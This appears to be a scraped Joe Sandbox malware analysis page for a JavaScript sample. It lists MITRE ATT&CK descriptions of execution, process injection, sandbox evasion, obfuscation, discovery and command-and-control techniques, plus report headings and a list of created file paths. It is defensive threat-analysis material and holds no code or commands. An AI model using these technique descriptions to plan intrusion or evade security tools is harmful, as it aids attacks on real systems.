Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 11234261403012723904.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\82ba2593-3d28-407b-803b-3cd9af10f70b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7708

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
11234261403012723904.js